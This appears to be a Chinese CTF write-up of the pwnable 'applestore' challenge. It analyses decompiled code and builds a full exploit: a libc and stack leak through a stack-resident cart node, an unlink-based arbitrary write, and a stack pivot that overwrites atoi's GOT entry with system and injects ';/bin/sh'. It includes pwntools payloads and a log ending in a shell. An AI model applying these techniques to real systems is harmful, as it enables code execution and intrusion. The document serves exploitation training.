1 程序分析

32 位程序,没开 PIE,部分写保护,libc 版本为 2.23

1
2
3
4
5
6
7
8
9
10
(pwn) secreu@Vanilla:~/code/pwnable/applestore$ checksec --file=applestore
[*] '/home/secreu/code/pwnable/applestore/applestore'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
(pwn) secreu@Vanilla:~/code/pwnable/applestore$ strings libc_32.so.6 | grep "Ubuntu GLIBC"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.

菜单题,模拟了一个购物情景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
signal(14, timeout);
alarm(0x3Cu);
memset(&myCart, 0, 0x10u);
menu();
return handler();
}

int menu()
{
puts("=== Menu ===");
printf("%d: Apple Store\n", 1);
printf("%d: Add into your shopping cart\n", 2);
printf("%d: Remove from your shopping cart\n", 3);
printf("%d: List your shopping cart\n", 4);
printf("%d: Checkout\n", 5);
return printf("%d: Exit\n", 6);
}

unsigned int handler()
{
char nptr[22]; // [esp+16h] [ebp-22h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(nptr, 0x15u);
switch ( atoi(nptr) )
{
case 1:
list();
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
return __readgsdword(0x14u) ^ v2;
default:
puts("It's not a choice! Idiot.");
break;
}
}
}

case 1: list 列出商品列表

1
2
3
4
5
6
7
8
9
int list()
{
puts("=== Device List ===");
printf("%d: iPhone 6 - $%d\n", 1, 199);
printf("%d: iPhone 6 Plus - $%d\n", 2, 299);
printf("%d: iPad Air 2 - $%d\n", 3, 499);
printf("%d: iPad Mini 3 - $%d\n", 4, 399);
return printf("%d: iPod Touch - $%d\n", 5, 199);
}

case 2: add 添加商品到购物车,这首先是用 create 创建了对应的商品结构体,然后调用 insert 将其插入到购物车中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
unsigned int add()
{
char **v1; // [esp+1Ch] [ebp-2Ch]
char nptr[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(nptr, 0x15u);
switch ( atoi(nptr) )
{
case 1:
v1 = create("iPhone 6", (char *)0xC7);
insert((int)v1);
goto LABEL_8;
case 2:
v1 = create("iPhone 6 Plus", (char *)0x12B);
insert((int)v1);
goto LABEL_8;
case 3:
v1 = create("iPad Air 2", (char *)0x1F3);
insert((int)v1);
goto LABEL_8;
case 4:
v1 = create("iPad Mini 3", (char *)0x18F);
insert((int)v1);
goto LABEL_8;
case 5:
v1 = create("iPod Touch", (char *)0xC7);
insert((int)v1);
LABEL_8:
printf("You've put *%s* in your shopping cart.\n", *v1);
puts("Brilliant! That's an amazing idea.");
break;
default:
puts("Stop doing that. Idiot!");
break;
}
return __readgsdword(0x14u) ^ v3;
}

create 申请大小为 16 字节的 chunk 作为单个商品结构体,将里面按 dword 分成了 4 部分,前 2 部分分别为商品名字的地址和商品价格,后 2 部分为 0,作用暂不明朗

1
2
3
4
5
6
7
8
9
10
11
char **__cdecl create(const char *a1, char *a2)
{
char **v3; // [esp+1Ch] [ebp-Ch]

v3 = (char **)malloc(0x10u);
v3[1] = a2;
asprintf(v3, "%s", a1);
v3[2] = 0;
v3[3] = 0;
return v3;
}

insert 函数将商品结构体地址按尾插法插入购物车双向链表中,链表首地址 &myCart = 0x804B068 在 .bss 节上

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl insert(int a1)
{
int result; // eax
_DWORD *i; // [esp+Ch] [ebp-4h]

for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
;
i[2] = a1;
result = a1;
*(_DWORD *)(a1 + 12) = i;
return result;
}

例如我们添加一台 iPhone 6 和一台 iPhone 6 Plus,就会形成下图所示的购物车结构

cart

case 3: delete 删除购物车中指定序号的商品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
int v1; // [esp+10h] [ebp-38h]
int v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
v1 = 1;
v2 = dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(nptr, 0x15u);
v3 = atoi(nptr);
while ( v2 )
{
if ( v1 == v3 )
{
v4 = *(_DWORD *)(v2 + 8);
v5 = *(_DWORD *)(v2 + 12);
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *(const char **)v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = *(_DWORD *)(v2 + 8);
}
return __readgsdword(0x14u) ^ v7;
}

例如我们输入 1,就是删除购物车中第 1 件商品,以上图为例就是 iPhone 6,索引到对应的商品结构体后,修改 fd 和 bk 指针,即 bk + 8 <- fd ; fd + 12 <- bk。删除 1 号商品后的购物车结构如下

delete

case 4: cart 将购物车中的商品名称和单价依次输出,计算并返回了购物车总价

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
int v0; // eax
int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
int i; // [esp+20h] [ebp-28h]
_BYTE buf[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(buf, 0x15u);
if ( buf[0] == 121 )
{
puts("==== Cart ====");
for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *(const char **)i, *(_DWORD *)(i + 4));
v3 += *(_DWORD *)(i + 4);
}
}
return v3;
}

case 5: checkout 调用了一次 cart 得到了购物车总价,若为 7174,就往购物车中添加了一台单价为 1 的 iPhone 8,这里要格外注意,这台 iPone 8 的商品结构体不是在 heap 上,而是在栈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2[5]; // [esp+18h] [ebp-20h] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(v2, "%s", "iPhone 8");
v2[1] = (char *)1;
insert((int)v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}

2 漏洞点

很显然,checkout 白给了一个栈上的 iPhone 8 结构体,有点突兀了,明摆着要我们利用它。在 checkout 函数结束后,依然可以在其他函数访问到上面的数据。

首先我们要凑出 7174 的购物车总金额,已知有 199、299、399、499 这几个单价的商品,实际上就是要找 199a + 299b + 399c + 499d = 7174 的非负整数解。写个脚本爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
"""Brute-force search for non-negative integer solutions of:
7174 = 199*a + 299*b + 399*c + 499*d
"""

def find_solutions(target=7174, coefs=(199, 299, 399, 499)):
solutions = []
max_vals = [target // coef for coef in coefs]
for a in range(max_vals[0] + 1):
for b in range(max_vals[1] + 1):
for c in range(max_vals[2] + 1):
rem = target - (a*coefs[0] + b*coefs[1] + c*coefs[2])
if rem < 0:
break
if rem % coefs[3] == 0:
d = rem // coefs[3]
if d >= 0:
solutions.append((a, b, c, d))
return solutions

def main():
sols = find_solutions()
print(f"Found {len(sols)} solutions for 7174 = 199*a + 299*b + 399*c + 499*d")
for s in sols:
print(s)

if __name__ == '__main__':
main()
'''
(pwn) secreu@Vanilla:~/code/pwnable/applestore$ python find_solutions.py
Found 44 solutions for 7174 = 199*a + 299*b + 399*c + 499*d
(6, 20, 0, 0)
(7, 18, 1, 0)
...
'''

最后得到只要 6 台 iPhone 6 和 20 台 iPhone 6 Plus 即可

2.1 任意地址读

add 6 台 iPhone 6 和 20 台 iPhone 6 Plus 凑齐 7174,再调用 checkout 即可将 iPhone 8 添加到购物车。然后为了方便管理我们先把之前的 26 台存在 Heap 上的结构体删除了

1
2
3
4
5
6
7
8
# 7174 = 6 * 199 + 20 * 299
for _ in range(6):
add(b'1')
for _ in range(20):
add(b'2')
checkout()
for _ in range(26):
delete(b'1')

这样购物车就只有 1 台 iPhone 8,从 checkout 函数来看其位置在 ebp - 0x20,而其他函数如 cartdelete 恰好可以对 ebp - 0x20 进行修改!这几个函数都是从 handler 调用的,所以它们有相同的 ebp,以 cart 为例,其 ebp - 0x22 处是 buf,并且允许输入 0x15 字节,完全可以覆盖整个 iPhone 8 结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
int v0; // eax
int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
int i; // [esp+20h] [ebp-28h]
_BYTE buf[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(buf, 0x15u);
if ( buf[0] == 121 )
{
puts("==== Cart ====");
for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *(const char **)i, *(_DWORD *)(i + 4));
v3 += *(_DWORD *)(i + 4);
}
}
return v3;
}

iPhone 8 结构体的前 4 字节是字符串 “iPhone 8” 的地址,在 cart 接收到 “y” 时会 printf 输出该名称和价格,我们可以利用这一点,将 iPhone 8 结构体的前 4 字节覆盖成其他地址,实现任意地址读。具体的发送的内容应为 payload = b'y\x00' + p32(addr)

2.2 任意地址写

cart 函数一样,delete 函数也能对 ebp-22h 进行修改。既然能够对 iPhone 8 结构体进行完全控制,就可以利用其 fd 和 bk 指针,先将这两个指针填写为我们想要的地址,删除时就会执行 bk + 8 <- fd ; fd + 12 <- bk 实现任意地址写。具体的发送的内容应为 payload = b'1\x00' + p32(0x804B070) + p32(1) + p32(fd) + p32(bk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
int v1; // [esp+10h] [ebp-38h]
int v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
v1 = 1;
v2 = dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(nptr, 0x15u);
v3 = atoi(nptr);
while ( v2 )
{
if ( v1 == v3 )
{
v4 = *(_DWORD *)(v2 + 8);
v5 = *(_DWORD *)(v2 + 12);
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *(const char **)v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = *(_DWORD *)(v2 + 8);
}
return __readgsdword(0x14u) ^ v7;
}

3 漏洞利用

3.1 泄露 Libc

利用任意地址读泄露 GOT 表上存放的 puts 地址,由此得到 libc 基址

注意要多覆盖几个字节,将 fd 指针覆盖为 0,确保 cart 函数找不到下一个商品,否则容易造成非法地址访问,出现段错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    leak_puts = b'y\x00' + p32(elf.got['puts']) + p32(1) + p32(0)
cart(leak_puts)
io.recvuntil(b'==== Cart ====\n1: ')
puts_addr = u32(io.recv(4))
log.info(f'puts addr: {hex(puts_addr)}')

libc_base = puts_addr - libc.symbols['puts']
'''
[DEBUG] Received 0x24 bytes:
b'Let me check your cart. ok? (y/n) > '
[DEBUG] Sent 0xe bytes:
00000000 79 00 28 b0 04 08 01 00 00 00 00 00 00 00 │y·(·│····│····│··│
0000000e
[DEBUG] Received 0x33 bytes:
00000000 3d 3d 3d 3d 20 43 61 72 74 20 3d 3d 3d 3d 0a 31 │====│ Car│t ==│==·1│
00000010 3a 20 40 21 e7 f7 16 85 04 08 26 85 04 08 40 b5 │: @!│····│··&·│··@·│
00000020 e2 f7 10 60 f3 f7 a0 c0 e5 f7 50 20 2d 20 24 31 │···`│····│··P │- $1│
00000030 0a 3e 20 │·> │
00000033
[*] puts addr: 0xf7e72140
'''

3.2 泄露栈地址

一种方法是利用 libc 上的 environ,该地址存放了栈上的环境变量地址,也就是说可以通过泄露这个得到栈地址

另一种方法是直接泄露 iPhone 8 的地址,之前说过其位于 cart 等函数的 ebp - 0x20,当购物车中只有一个 iPhone 8 时,.bss 节上 0x804B070 处就会存放这个地址

leak_stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    leak_iphone8 = b'y\x00' + p32(0x804B070) + p32(1) + p32(0)
cart(leak_iphone8)
io.recvuntil(b'==== Cart ====\n')
iphone8_addr = u32(io.recv(7)[3:7])
log.info(f'iphone8 addr: {hex(iphone8_addr)}')
'''
[DEBUG] Received 0x24 bytes:
b'Let me check your cart. ok? (y/n) > '
[DEBUG] Sent 0xe bytes:
00000000 79 00 70 b0 04 08 01 00 00 00 00 00 00 00 │y·p·│····│····│··│
0000000e
[DEBUG] Received 0x1e bytes:
00000000 3d 3d 3d 3d 20 43 61 72 74 20 3d 3d 3d 3d 0a 31 │====│ Car│t ==│==·1│
00000010 3a 20 58 3e 98 ff 20 2d 20 24 31 0a 3e 20 │: X>│·· -│ $1·│> │
0000001e
[*] iphone8 addr: 0xff983e58
'''

3.3 栈迁移修改 GOT 表

利用任意地址写,最简单粗暴的想法是直接将 GOT 表上某个函数地址修改为 system 地址,或者修改返回地址。但是改返回地址需要多次 delete,过于繁琐,并且我们不能直接将 system 地址写到 fd 或者 bk,因为这样会破坏 system_addr + 8 / 12 处的指令,导致出错。

既然如此就只能利用现有的写入功能,handler 函数会对 ebp - 0x22 处进行 0x15 字节的写入,然后调用 atoi 将输入转换成整型,那我们正好可以利用这一点,将栈迁移到 GOT 表上 atoi 函数加 0x22 的位置,即 elf.got['atoi'] + 0x22,再输入 system 地址实现 GOT 表修改,接着 handler 执行 atoi(nptr) 实际上就是执行 system(ebp - 0x22),所以我们不能仅仅输入 system 地址,还要接上 ;/bin/sh\x00

atoi 函数在 .got.plt 节的末尾,紧跟着是 .data 节,不用担心 ;/bin/sh\x00 会造成什么大影响

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int handler()
{
char nptr[22]; // [esp+16h] [ebp-22h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(nptr, 0x15u);
switch ( atoi(nptr) )
...

具体来说如何栈迁移,利用 delete 任意地址写,分别覆盖 iPhone 8 的 fd 和 bk 指针为 iphone8_addr + 0x20 - 12elf.got['atoi'] + 0x22

因为 iphone8_addr + 0x20delete 函数的 ebp,该地址存放了 handler 函数的 ebp,将其覆盖为 elf.got['atoi'] + 0x22,在 delete 函数返回时,就能实现栈迁移

stack_pivot

最后在 handler 函数中输入 p32(system_addr) + b';/bin/sh\x00',即可完成对 GOT 表中 atoi 的覆盖并执行 system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
    fake_ebp = elf.got['atoi'] + 0x22
delete_ebp = iphone8_addr + 0x20
stack_pivot = b'1\x00' + p32(0x804B070) + p32(1) + p32(delete_ebp - 12) + p32(fake_ebp)
delete(stack_pivot)

system_addr = libc_base + libc.symbols['system']
io.sendafter(b'> ', p32(system_addr) + b';/bin/sh\x00')

io.interactive()
'''
[DEBUG] Sent 0x12 bytes:
00000000 31 00 70 b0 04 08 01 00 00 00 6c 3e 98 ff 62 b0 │1·p·│····│··l>│··b·│
00000010 04 08 │··│
00000012
[DEBUG] Received 0x29 bytes:
00000000 52 65 6d 6f 76 65 20 31 3a 58 3e 98 ff 20 66 72 │Remo│ve 1│:X>·│· fr│
00000010 6f 6d 20 79 6f 75 72 20 73 68 6f 70 70 69 6e 67 │om y│our │shop│ping│
00000020 20 63 61 72 74 2e 0a 3e 20 │ car│t.·>│ │
00000029
[DEBUG] Sent 0xd bytes:
00000000 40 d9 e4 f7 3b 2f 62 69 6e 2f 73 68 00 │@···│;/bi│n/sh│·│
0000000d
[*] Switching to interactive mode
[DEBUG] Received 0x17 bytes:
00000000 73 68 3a 20 31 3a 20 40 d9 e4 f7 3a 20 6e 6f 74 │sh: │1: @│···:│ not│
00000010 20 66 6f 75 6e 64 0a │ fou│nd·│
00000017
sh: 1: @\xd9\xe4\xf7: not found
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x34 bytes:
b'applestore exp.py find_solutions.py libc_32.so.6\n'
applestore exp.py find_solutions.py libc_32.so.6
'''